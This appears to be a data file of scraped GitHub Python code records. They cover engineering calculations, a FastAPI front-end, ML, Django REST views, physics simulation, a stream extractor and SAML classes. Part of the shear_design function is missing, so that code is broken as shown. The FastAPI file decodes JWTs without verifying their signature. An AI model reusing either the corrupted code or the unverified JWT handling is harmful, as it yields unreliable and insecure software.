check_bars(c,c_end,l_w,fy,dbl,nL,b1,a1,t,fc,N_max,sv)\r\n \r\n print('The value In-Plane Moment Capacity is:', round(result[1],0), 'kNm')\r\n M_capacity = result[1] \r\n \r\n print('Moment Utilisation:', round((M_max/result[1])*100,0),'%')\r\n \r\n return M_capacity, bar_dia_check, spacing_check, ratio_check,c,sv_max,dbl_max,pn,pn_min \r\n\r\n\"\"\"\r\nThe following function calculatures the flexural capacity of the shear walls.\r\nOutputs:\r\n Spacing of horizontal reinforcement\r\n Shear Stress\r\n Spacing Check (True = OKAY, False = Not OKAY) \r\n\"\"\"\r\ndef shear_design(phi,V_max,N_max,M_max,dbh,t,l_w,fc,f_yt):\r\n print('----------------------------Shear Checks----------------------------')\r\n print('--------------------------Input parameters--------------------------')\r\n print(\"Maximum Shear = \", V_max,\"kN\")\r\n print(\"Horizontal Bar Diameter = \", dbh,\"mm\")\r\n print('-------------------------------Outputs------------------------------')\r\n vn = 1000*V_max/(phi*t*0.8*l_w)\r\n print('v.n =', round(vn,2), 'MPa') \r\n \r\n #Concrete Shear Capacity:\r\n vc = M_max/V_max - (l_w/2000)\r\n \r\n \r\n #Equation 11-14\r\n EQ11_14 = 0.27*math.sqrt(fc)+(1000*N_max)/(4*l_w*t)\r\n \r\n #Equation 11-15\r\n EQ11_15 = 0.05*math.sqrt(fc)+(l_w/1000*(0.1*math.sqrt(fc)+200*N_max/(l_w*t))/vc) \r\n \r\n if(vc > 0):\r\n vc = min(EQ11_14,EQ11_15)\r\n else:\r\n vc = EQ11_14\r\n \r\n V_c = vc*t*0.80*l_w/1000\r\n print('V.c =', round(V_c,2), 'kN') \r\n \r\n if(vn V_max:\r\n print(\"OKAY\")\r\n else:\r\n print(\"NOT OKAY\")\r\n \r\n return phiV_sf\r\n\r\n#The following function checks the antibuckling stirrups.\r\ndef AntiBuckling (s_h,wall_type,t,fy,fyt,dbl,ds):\r\n print('------------------------Antibuckling Checks------------------------')\r\n \r\n print(\"Selected diameter of stirrup tie: \", ds, \"mm\")\r\n print(\"Selected stirrup spacing: \", s_h, \"mm\")\r\n \r\n A_b = 1 * ((dbl**2)/(4))*math.pi\r\n print(\"Area of longitudinal bars restrained by one horizontal stirrup:\", round(A_b,0), \"mm^2\")\r\n \r\n if wall_type == 3:\r\n sh_max = min(6*dbl,t/2)\r\n else: \r\n sh_max = min(10*dbl,300)\r\n \r\n print(\"Maximum stirrup spacing: \", sh_max, \"mm\") \r\n \r\n A_te = (A_b*s_h*fy)/(96*fyt*dbl)\r\n \r\n print(\"Area of one stirrup tie: \", round(A_te,1), \"mm^2\")\r\n \r\n if (s_h <= sh_max):\r\n stirrup_spacing_check = 1\r\n print(\"Stirrup spacing is OKAY\")\r\n else: \r\n stirrup_spacing_check = 0\r\n print(\"Stirrup spacing is NOT OKAY\")\r\n \r\n if(ds**2*math.pi/4 > A_te): \r\n stirrup_diameter_check = 1 \r\n print(\"Stirrup diameter OK\")\r\n else: \r\n stirrup_diameter_check = 0\r\n (\"Revise anti-buckling design\")\r\n return A_b,s_h,sh_max,stirrup_spacing_check,A_te,ds,stirrup_diameter_check \r\n\r\n#The following function checks the confinement at the end zones. \r\ndef confinement(wall_type,cover,direction,sv,ds,t,fc,c,l_w,s_vmax,fyt,no_legs,sh):\r\n print('------------------------Confinement Checks-------------------------')\r\n \r\n print(\"Selected diameter of stirrup tie: \", ds, \"mm\")\r\n if direction == 1: #if in major direction\r\n h_dash=t-2*cover\r\n else: #if in minor direction\r\n h_dash=max(t/2,sv+2*ds)\r\n \r\n print(\"h'' =\",h_dash,\"mm\")\r\n \r\n if wall_type == 3:\r\n A_sh = 0.25*sh*h_dash*t*fc*(c/l_w-0.07)/((t-2*cover)*fyt)\r\n else:\r\n A_sh = 0.175*sh*h_dash*t*fc*(c/l_w-0.07)/((t-2*cover)*fyt)\r\n \r\n print(\"A_sh = \", round(A_sh,2), 'mm^2') \r\n \r\n if A_sh < 0:\r\n stirrup_spacing = sh\r\n else:\r\n stirrup_spacing = min(sh,sh*(ds**2)*no_legs*math.pi/(4*A_sh))\r\n \r\n print(\"Stirrup spacing must be <= \", stirrup_spacing, 'mm for confinement zones') \r\n return A_sh, ds, no_legs, stirrup_spacing","repo_name":"raylaxmidas/NZShearWallDesign","sub_path":"NZShearWallChecks.py","file_name":"NZShearWallChecks.py","file_ext":"py","file_size_in_byte":11664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30264018491","text":"from fastapi import FastAPI, Request, Response\nfrom fastapi.responses import HTMLResponse, JSONResponse\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.templating import Jinja2Templates\nimport httpx\nimport jwt\nimport os\nimport dotenv \n\napp = FastAPI()\n\ndotenv.load_dotenv()\nurl_base = os.getenv(\"API_URL\")\n\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\n\ntemplates = Jinja2Templates(directory=\"templates\")\n\n@app.get(\"/\",response_class=HTMLResponse)\nasync def home(request: Request):\n return templates.TemplateResponse(\"index.html\", {\"request\": request})\n\n@app.post(\"/login\")\nasync def login(username: str, password: str, response: Response):\n async with httpx.AsyncClient() as client:\n r = await client.post(f'{url_base}/token', params={'username': username, 'password': password})\n #print(r.json())\n data = r.json()\n token = data['access_token']\n response.set_cookie(key=\"token\", value=token, secure=False) # Almacena el token en las cookies\n return JSONResponse(content=data)\n\n@app.post(\"/sendmessage/{message}\")\nasync def sendmessage(request: Request, message: str):\n token = request.headers.get('Authorization') # Recupera el token de las cabeceras\n #print(f\"enviando:{token}\")\n if not token:\n return JSONResponse(content={'message': 'No token'})\n headers = {'Authorization': token}\n decoded_token = jwt.decode(token.split(' ')[1], options={\"verify_signature\": False})\n user = decoded_token['sub']\n message = f\"{user}: {message}\"\n async with httpx.AsyncClient() as client:\n r = await client.post(f'{url_base}/publicar/{message}', headers=headers)\n if r.content:\n try:\n data = r.json()\n return JSONResponse(content=data)\n except:\n return JSONResponse(content={'message': 'No response body'})\n else:\n return JSONResponse(content={'message': 'No response body'})\n \n@app.get(\"/receivemessage\")\nasync def receivemessage(request: Request):\n token = request.headers.get('Authorization') # Recupera el token de las cabeceras\n #print(f\"recibiendo:{token}\")\n if not token:\n return JSONResponse(content={'message': 'No token'})\n headers = {'Authorization': token}\n async with httpx.AsyncClient() as client:\n r = await client.get(f'{url_base}/consumir', headers=headers)\n if r.content:\n try:\n data = r.json()\n print(data)\n return JSONResponse(content=data)\n except:\n return JSONResponse(content={'message': 'No response body'})\n else:\n return JSONResponse(content={'message': 'No response body'}) \n\nif __name__ == \"__main__\":\n import uvicorn\n dotenv.load_dotenv()\n ip_host = os.getenv(\"IP_HOST\")\n uvicorn.run(app, host=ip_host, port=8000)","repo_name":"BillyClassTime/AdvancedPython","sub_path":"cp7-PF/front-end/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34423366426","text":"\nimport numpy as np\nfrom keras.models import load_model\nfrom sklearn.preprocessing import MinMaxScaler\nimport utils\n# from config import LSTM_MODEL_OUTPUT\n\nCSV = \"NSE-TATA.csv\"\nMODEL = \"LSTM.h5\"\nn_period_before = 10\nclass LstmModel(object):\n def __init__(self, dataset):\n super().__init__()\n\n dataset_values = dataset.values\n # n previous close price wanna traning\n number_of_previous_close_prices = 60\n\n scaler=MinMaxScaler(feature_range=(0,1))\n scaled_data=scaler.fit_transform(dataset_values)\n train_data,test_data = utils.create_data(scaled_data,0.8, number_of_previous_close_prices)\n x_test, _ = utils.create_x_y_test(test_data,number_of_previous_close_prices)\n\n lstm_model = load_model(MODEL)\n x_test=np.reshape(x_test,(x_test.shape[0],x_test.shape[1],1))\n closing_price=lstm_model.predict(x_test)\n closing_price=scaler.inverse_transform(closing_price)\n num_test = len(scaled_data) - len(x_test)\n self.indexs = dataset.index[num_test:]\n self.predictions = closing_price\n self.close = dataset['Close'].values[num_test:]\n \n price_of_change = closing_price[n_period_before:]\n poc = []\n for i in range(0, len(price_of_change)):\n value = (price_of_change[i]-closing_price[i])/closing_price[i]\n poc.append(np.float64(value.item()))\n self.poc = poc\n\n print(\"LSTM init success\")\n def getResult(self):\n return self.valid\n\n def getSimpleResult(self):\n predictions = []\n close = []\n indexs = []\n for index in range(0, len(self.indexs)):\n predictions.append(np.float64(self.predictions[index].item()))\n close.append(self.close[index])\n indexs.append(self.indexs[index].value // 1000000)\n return {'Predictions' : predictions, 'Close': close, 'Index': indexs, 'poc': self.poc, 'IndexPoC': indexs[n_period_before:]}\n","repo_name":"nvdai1506/predict_stock","sub_path":"backend/LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"22921518232","text":"from django.shortcuts import get_object_or_404\n\nfrom rest_framework import viewsets\nfrom rest_framework import permissions\nfrom rest_framework.decorators import detail_route\nfrom rest_framework.response import Response\nfrom rest_framework import filters, status\n\nfrom premises.models import Contention, Premise\nfrom .serializers import (ContentionSerializer, PremisesSerializer,\n PremiseReportSerializer)\nfrom premises.utils import int_or_default\nfrom premises.signals import supported_a_premise\nfrom api.v1.users.serializers import UserProfileSerializer\nfrom newsfeed.models import Entry\n\n\nclass ContentionViewset(viewsets.ModelViewSet):\n queryset = Contention.objects.filter(is_published=True)\\\n .prefetch_related('premises',\n 'premises__supporters')\\\n .select_related('user', 'premises__parent',\n 'premises__user')\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,)\n serializer_class = ContentionSerializer\n paginate_by = 20\n filter_backends = (filters.SearchFilter, filters.DjangoFilterBackend,\n filters.OrderingFilter)\n search_fields = ('title', 'slug',)\n filter_fields = ('is_featured',)\n ordering_fields = ('date_creation',)\n\n @detail_route()\n def premises(self, request, pk=None):\n contention = self.get_object()\n serializer = PremisesSerializer(\n contention.premises.select_related('user').all(), many=True)\n return Response(serializer.data)\n\n def create_argument(self, request):\n serializer = self.serializer_class(\n data=request.data, initial={'ip': request.META['REMOTE_ADDR'],\n 'user': request.user})\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def _get_owner_object(self):\n lookup_url_kwarg = self.lookup_url_kwarg or self.lookup_field\n filter_kwargs = {\n self.lookup_field: self.kwargs[lookup_url_kwarg],\n 'user': self.request.user\n }\n obj = get_object_or_404(Contention.objects.all(), **filter_kwargs)\n return obj\n\n def update_argument(self, request, pk=None):\n contention = self._get_owner_object()\n serializer = self.serializer_class(data=request.DATA,\n instance=contention)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete_argument(self, request, pk=None):\n contention = self._get_owner_object()\n Entry.objects.delete(contention.get_newsfeed_type(), contention.id)\n contention.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n @detail_route()\n def create_premise(self, request, pk=None):\n contention = self.get_object()\n serializer = PremisesSerializer(\n data=request.data, initial={'ip': request.META['REMOTE_ADDR'],\n 'user': request.user,\n 'argument': contention})\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass PremiseViewset(viewsets.ModelViewSet):\n queryset = Premise.objects.filter(is_approved=True)\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,)\n serializer_class = PremisesSerializer\n lookup_field = 'id'\n lookup_url_kwarg = 'premise_id'\n\n def filter_queryset(self, queryset):\n argument_id = int_or_default(self.kwargs.get('pk'), default=0)\n return queryset.filter(argument__id=argument_id,\n argument__is_published=True)\n\n @detail_route(methods=['post'])\n def report(self, request, pk=None, premise_id=None):\n premise = self.get_object()\n if premise.reports.filter(reporter=request.user).exists():\n return Response({'message': 'Onermeyi Zaten Rapor ettin.'},\n status=status.HTTP_400_BAD_REQUEST)\n\n serializer = PremiseReportSerializer(\n data=request.data, initial={'reporter': request.user,\n 'premise': premise,\n 'contention': premise.argument})\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def _get_owner_object(self):\n argument_id = int_or_default(self.kwargs.get('pk'), default=0)\n lookup_url_kwarg = self.lookup_url_kwarg or self.lookup_field\n filter_kwargs = {\n self.lookup_field: self.kwargs[lookup_url_kwarg],\n 'argument__id': argument_id,\n 'user': self.request.user\n }\n obj = get_object_or_404(Premise.objects.all(), **filter_kwargs)\n return obj\n\n def update_premise(self, request, pk=None, premise_id=None):\n premise = self._get_owner_object()\n serializer = self.serializer_class(data=request.DATA,\n instance=premise)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete_premise(self, request, pk=None, premise_id=None):\n premise = self._get_owner_object()\n premise.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass PremiseSupportViewset(PremiseViewset):\n\n @detail_route(methods=['post'])\n def support(self, request, pk=None, premise_id=None):\n premise = self.get_object()\n if premise.supporters.filter(id=request.user.id).exists():\n return Response({'message': \"Onermeyi Zaten destekliyorsun\"},\n status=status.HTTP_400_BAD_REQUEST)\n premise.supporters.add(request.user)\n supported_a_premise.send(sender=self, premise=premise,\n user=self.request.user)\n return Response(status=status.HTTP_201_CREATED)\n\n @detail_route(methods=['get'])\n def supporters(self, request, pk=None, premise_id=None):\n premise = self.get_object()\n page = self.paginate_queryset(premise.supporters.all())\n serializer = self.get_pagination_serializer(page)\n return Response(serializer.data)\n\n @detail_route(methods=['delete'])\n def unsupport(self, request, pk=None, premise_id=None):\n premise = self.get_object()\n if not premise.supporters.filter(id=request.user.id).exists():\n return Response({'message': \"Once onermeyi desteklemen gerekiyor\"},\n status=status.HTTP_400_BAD_REQUEST)\n premise.supporters.remove(request.user)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\ncontention_list = ContentionViewset.as_view(\n {'get': 'list', 'post': 'create_argument'}\n)\ncontention_detail = ContentionViewset.as_view(\n {'get': 'retrieve', 'put': 'update_argument',\n 'delete': 'delete_argument'}\n)\npremises_list = ContentionViewset.as_view(\n {'get': 'premises', 'post': 'create_premise'}\n)\npremise_detail = PremiseViewset.as_view(\n {'get': 'retrieve', 'put': 'update_premise',\n 'delete': 'delete_premise'}\n)\npremise_report = PremiseViewset.as_view(\n {'post': 'report'}\n)\npremise_support = PremiseSupportViewset.as_view(\n {'post': 'support', 'delete': 'unsupport'}\n)\npremise_supporters = PremiseSupportViewset.as_view(\n {'get': 'supporters'},\n serializer_class=UserProfileSerializer\n)\n","repo_name":"arguman/arguman.org","sub_path":"web/api/v1/arguments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8150,"program_lang":"python","lang":"en","doc_type":"code","stars":1374,"dataset":"github-code","pt":"54"} +{"seq_id":"21495856016","text":"from collections import deque\r\nfrom sys import stdin\r\ninput = stdin.readline\r\n\r\nm, n, k = map(int, input().split())\r\nboard = [[0] * n for i in range(m)]\r\n\r\n# 모눈종이 칠하기\r\nfor _ in range(k):\r\n x1, y1, x2, y2 = map(int, input().split())\r\n for i in range(y1, y2):\r\n for j in range(x1, x2):\r\n board[i][j] = 1\r\n\r\n# 모눈종이 전체를 탐색하며 BFS 진행\r\nq = deque()\r\narea = []\r\nmove = [(1, 0), (0, 1), (-1, 0),(0, -1)]\r\nfor i in range(m):\r\n for j in range(n):\r\n if not board[i][j]:\r\n board[i][j] = 1\r\n q.append((i, j))\r\n area.append(1)\r\n while(q):\r\n x, y = q.popleft()\r\n for a, b in move:\r\n dx = x + a; dy = y+b\r\n if m > dx >= 0 and n > dy >= 0 and not board[dx][dy]:\r\n q.append((dx, dy))\r\n board[dx][dy] = 1\r\n area[-1] += 1\r\nprint(len(area))\r\nprint(*sorted(area))","repo_name":"youngeun10/baekjoon","sub_path":"백준/Silver/2583. 영역 구하기/영역 구하기.py","file_name":"영역 구하기.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"30031330930","text":"'''\nCreated on 5 Jan 2017\n\n@author: richard\n'''\nimport numpy as np\nimport scipy.constants as constants\nfrom counting_statistics.fcs_solver import FCSSolver\nfrom HEOM_counting_statistics.dissipative_DQD_model import DissipativeDQDModel\n\nGamma_L = 1. #0.1 # meV\nGamma_R = 0.025 #2.5e-3 # meV\nbias = 0\nT_c = 1. #0.1 # meV\ntemperature = [1.4, 2.7, 12.] # Kelvin\nk_B = 10 * constants.physical_constants[\"Boltzmann constant in eV/K\"][0] * 1.e3 # meV / Kelvin\nbeta = [1. / (k_B * T) for T in temperature]\nbeta = [0.8, 0.4, 0.1]\nreorg_energy = 0.015 #0.00147\ncutoff = 50. #5. # meV\n\ndef drude_spectral_density(reorg_energy, cutoff):\n def J(delta):\n return (2. * reorg_energy * cutoff * delta) / (delta**2 + cutoff**2)\n return J\n\nbias_values = np.linspace(-1., 1., 500) * 10\nF2_values = np.zeros((len(beta)+1, bias_values.size))\ncoherence = np.zeros((len(beta)+1, bias_values.size))\n\nsite_steady_states = np.zeros((len(beta)+1, bias_values.size, 5))\n# site_exciton_transform = np.zeros((len(beta)+1, bias_values.size, 3, 3))\n# exciton_steady_states = np.zeros((len(beta)+1, bias_values.size, 3, 3))\n\nmodel = DissipativeDQDModel(Gamma_L, Gamma_R, 0, T_c, drude_spectral_density(reorg_energy, cutoff), 1.)\nsolver = FCSSolver(model.liouvillian(), model.jump_matrix(), np.array([1,1,1,0,0]))\n\nfor j,B in enumerate(beta):\n model.beta = B\n for i,E in enumerate(bias_values):\n model.bias = E\n solver.L = model.liouvillian()\n F2_values[j+1,i] = solver.second_order_fano_factor(0)\n coherence[j+1,i] = solver.ss[3] + solver.ss[4]\n site_steady_states[j+1,i] = solver.ss\n \nmodel.spectral_density = drude_spectral_density(0, cutoff)\nfor i,E in enumerate(bias_values):\n model.bias = E\n solver.L = model.liouvillian()\n F2_values[0,i] = solver.second_order_fano_factor(0)\n coherence[0,i] = solver.ss[3] + solver.ss[4]\n site_steady_states[0,i] = solver.ss\n \nnp.savez('../../data/DQD_dissipative_F2_bias_brandes_liouvillian.npz', \\\n bias_values=bias_values, beta_values=beta, F2=F2_values, coherence=coherence, \\\n site_steady_states=site_steady_states)\n\nimport prettyplotlib as ppl\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom prettyplotlib import brewer2mpl\n\nfont = {'size':12}\nmpl.rc('font', **font)\n\nfig,ax = ppl.subplots(1, 2, figsize=(8,3.5))\n\nplt.sca(ax[0])\nppl.plot(bias_values, F2_values[0], linewidth=3, ls='--', color='k', label='no phonons')\nfor i,B in enumerate(beta):\n ppl.plot(bias_values, F2_values[i+1], linewidth=3, label=r'$\\beta = ' + str(beta[i]) + '$', show_ticks=True)\nax[0].axhline(1., ls='--', color='grey', linewidth=1)\n#plt.xlim(-10.2, 10.2)\n#plt.ylim(0.82, 1.25)\nax[0].set_xlabel(r'$\\epsilon / \\Gamma_L$')\nax[0].set_ylabel(r'Fano factor')\nax[0].text(-10, 1.25, 'a.', fontsize=12)\nppl.legend(fontsize=12).draggable()\n\nplt.sca(ax[1])\nppl.plot(bias_values, np.abs(coherence[0]), linewidth=3, ls='--', color='k', label='no phonons')\nfor i,B in enumerate(beta):\n ppl.plot(bias_values, np.abs(coherence[i+1]), linewidth=3, label=r'$\\beta = ' + str(beta[i]) + '$', show_ticks=True)\nax[1].set_xlabel(r'$\\epsilon / \\Gamma_L$')\nax[1].set_ylabel(r'coherence $|\\rho_{LR}|$')\n\nplt.tight_layout()\nplt.show()\n \n","repo_name":"rstones/DQD_counting_statistics","sub_path":"src/HEOM_counting_statistics/dissipative_DQD_drude_test.py","file_name":"dissipative_DQD_drude_test.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41223675734","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ykdl.util.html import get_content\nfrom ykdl.util.match import match1\nfrom ykdl.extractor import VideoExtractor\nfrom ykdl.videoinfo import VideoInfo\nimport json\n\nclass QQLive(VideoExtractor):\n name = u'QQ Live (企鹅直播)'\n\n mutli_bitrate = ['middle2', 'middle']\n\n bitrate_2_type = {'middle2': 'HD', 'middle': 'SD'}\n\n bitrate_2_profile = {'middle2': u'高清', 'middle': u'标清'}\n\n def prepare(self):\n info = VideoInfo(self.name, True)\n if not self.vid:\n self.vid = match1(self.url, '/(\\d+)')\n if not self.vid:\n html = get_content(self.url)\n self.vid = match1(html, '\"room_id\":(\\d+)')\n\n #from upstream!!\n api_url = 'http://www.qie.tv/api/v1/room/{}'.format(self.vid)\n\n metadata = json.loads(get_content(api_url))\n assert metadata['error'] == 0, 'error {}: {}'.format(metadata['error'], metadata['data'])\n\n livedata = metadata['data']\n assert livedata['show_status'] == '1', 'error: live show is not on line!!'\n\n info.title = livedata['room_name']\n info.artist = livedata['nickname']\n\n base_url = livedata['rtmp_url']\n\n if 'hls_url' in livedata:\n info.stream_types.append('BD')\n info.streams['BD'] = {'container': 'm3u8', 'video_profile': u'原画', 'src' : [livedata['hls_url']], 'size': float('inf')}\n\n mutli_stream = livedata['rtmp_multi_bitrate']\n for i in self.mutli_bitrate:\n if i in mutli_stream:\n info.stream_types.append(self.bitrate_2_type[i])\n info.streams[self.bitrate_2_type[i]] = {'container': 'flv', 'video_profile': self.bitrate_2_profile[i], 'src' : [base_url + '/' + mutli_stream[i]], 'size': float('inf')}\n return info\n\nsite = QQLive()\n \n","repo_name":"tjyang15/video","sub_path":"ykdl/extractors/qq/live.py","file_name":"live.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"38110848023","text":"from pyspark import SparkConf\nfrom pyspark.sql import SparkSession\n\n\ndef create_spark_session() -> SparkSession:\n conf = SparkConf()\\\n .set(\"spark.driver.memory\", \"2g\")\\\n .set(\"spark.sql.autoBroadcastJoinThreshold\", \"-1\")\\\n .set(\"spark.driver.extraJavaOptions\", \"-Dlog4j.configuration=log4j2.properties\")\n\n spark_session = SparkSession\\\n .builder\\\n .master(\"local[4]\")\\\n .config(conf=conf)\\\n .appName(\"Aggregate Transform Tutorial\") \\\n .getOrCreate()\n\n spark_session.sparkContext.setCheckpointDir(\"checkpoint\")\n\n return spark_session\n","repo_name":"SA01/spark-data-stats-tutorial","sub_path":"spark_utils.py","file_name":"spark_utils.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37828583760","text":"__author__ = 'tmatsuo@sios.com (Takashi MATSUO)'\n\n\"\"\"Contains classes representing Saml elements.\n\n Module objective: provide data classes for Saml constructs. These\n classes hide the XML-ness of Saml and provide a set of native Python\n classes to interact with.\n\n Conversions to and from XML should only be necessary when the Saml classes\n \"touch the wire\" and are sent over HTTP. For this reason this module \n provides methods and functions to convert Saml classes to and from strings.\n\n SamlBase: A foundation class on which Saml classes are built. It \n handles the parsing of attributes and children which are common to all\n Saml classes. By default, the SamlBase class translates all XML child \n nodes into ExtensionElements.\n\n ExtensionElement: XML which is not part of the Saml specification,\n these are called extension elements. If a classes parser\n encounters an unexpected XML construct, it is translated into an\n ExtensionElement instance. ExtensionElement is designed to fully\n capture the information in the XML. Child nodes in an XML\n extension are turned into ExtensionElements as well.\n\"\"\"\n\ntry:\n from xml.etree import cElementTree as ElementTree\nexcept ImportError:\n try:\n import cElementTree as ElementTree\n except ImportError:\n from elementtree import ElementTree\n\nimport xmldsig as ds\nimport saml2\n\nSAML_NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion'\nSAML_TEMPLATE = '{urn:oasis:names:tc:SAML:2.0:assertion}%s'\nXSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance'\n\nNAMEID_FORMAT_EMAILADDRESS = (\n \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\")\nNAMEID_FORMAT_UNSPECIFIED = (\n \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\")\nNAMEID_FORMAT_ENCRYPTED = (\n \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\")\nNAMEID_FORMAT_PERSISTENT = (\n \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\")\n\nPROFILE_ATTRIBUTE_BASIC = (\n \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\")\n\nURN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\"\nNAME_FORMAT_UNSPECIFIED = (\n \"urn:oasis:names:tc:SAML:2.0:attrnam-format:unspecified\")\nNAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrnam-format:uri\"\nNAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrnam-format:basic\"\nSUBJECT_CONFIRMATION_METHOD_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\"\n\nDECISION_TYPE_PERMIT = \"Permit\"\nDECISION_TYPE_DENY = \"Deny\"\nDECISION_TYPE_INDETERMINATE = \"Indeterminate\"\n\nCONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\"\nV2 = \"2.0\"\n\nclass BaseID(saml2.SamlBase):\n \"\"\"The saml:BaseID element\"\"\"\n\n _tag = 'BaseID'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['NameQualifier'] = 'name_qualifier'\n _attributes['SPNameQualifier'] = 'sp_name_qualifier'\n\n def __init__(self, name_qualifier=None, sp_name_qualifier=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for BaseID\n\n Args:\n name_qualifier: NameQualifier attribute\n sp_name_qualifier: SPNameQualifier attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.name_qualifier = name_qualifier\n self.sp_name_qualifier = sp_name_qualifier\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef BaseIDFromString(xml_string):\n return saml2.CreateClassFromXMLString(BaseID, xml_string)\n\n \nclass NameID(BaseID):\n \"\"\"The saml:NameID element\"\"\"\n\n _tag = 'NameID'\n _namespace = SAML_NAMESPACE\n _children = BaseID._children.copy()\n _attributes = BaseID._attributes.copy()\n _attributes['Format'] = 'format'\n _attributes['SPProvidedID'] = 'sp_provided_id'\n\n def __init__(self, name_qualifier=None, sp_name_qualifier=None, format=None,\n sp_provided_id=None, text=None, extension_elements=None,\n extension_attributes=None):\n \"\"\"Constructor for NameID\n\n Args:\n format: Format attribute\n sp_provided_id: SPProvidedID attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n BaseID.__init__(self, name_qualifier=name_qualifier,\n sp_name_qualifier=sp_name_qualifier)\n \n self.text = text\n self.format = format\n self.sp_provided_id = sp_provided_id\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef NameIDFromString(xml_string):\n return saml2.CreateClassFromXMLString(NameID, xml_string)\n\n\nclass Issuer(NameID):\n \"\"\"The saml:Issuer element\"\"\"\n\n _tag = 'Issuer'\n _children = NameID._children.copy()\n _attributes = NameID._attributes.copy()\n\ndef IssuerFromString(xml_string):\n return saml2.CreateClassFromXMLString(Issuer, xml_string)\n\n\nclass SubjectLocality(saml2.SamlBase):\n \"\"\"The saml:SubjectLocality element\"\"\"\n \n _tag = 'SubjectLocality'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['Address'] = 'address'\n _attributes['DNSName'] = 'dns_name'\n\n def __init__(self, address=None, dns_name=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for SubjectLocality\n\n Args:\n address: Address attribute\n dns_name: DNSName attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.text = text\n self.address = address\n self.dns_name = dns_name\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef SubjectLocalityFromString(xml_string):\n return saml2.CreateClassFromXMLString(SubjectLocality, xml_string)\n\n\nclass AuthnContextClassRef(saml2.SamlBase):\n \"\"\"The saml:AuthnContextClassRef element\"\"\"\n\n _tag = 'AuthnContextClassRef'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AuthnContextClassRefFromString(xml_string):\n return saml2.CreateClassFromXMLString(AuthnContextClassRef, xml_string)\n\n\nclass AuthnContextDeclRef(saml2.SamlBase):\n \"\"\"The saml:AuthnContextDeclRef element\"\"\"\n\n _tag = 'AuthnContextDeclRef'\n _namespace = SAML_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AuthnContextDeclRefFromString(xml_string):\n return saml2.CreateClassFromXMLString(AuthnContextDeclRef, xml_string)\n\n\nclass AuthnContextDecl(saml2.SamlBase):\n 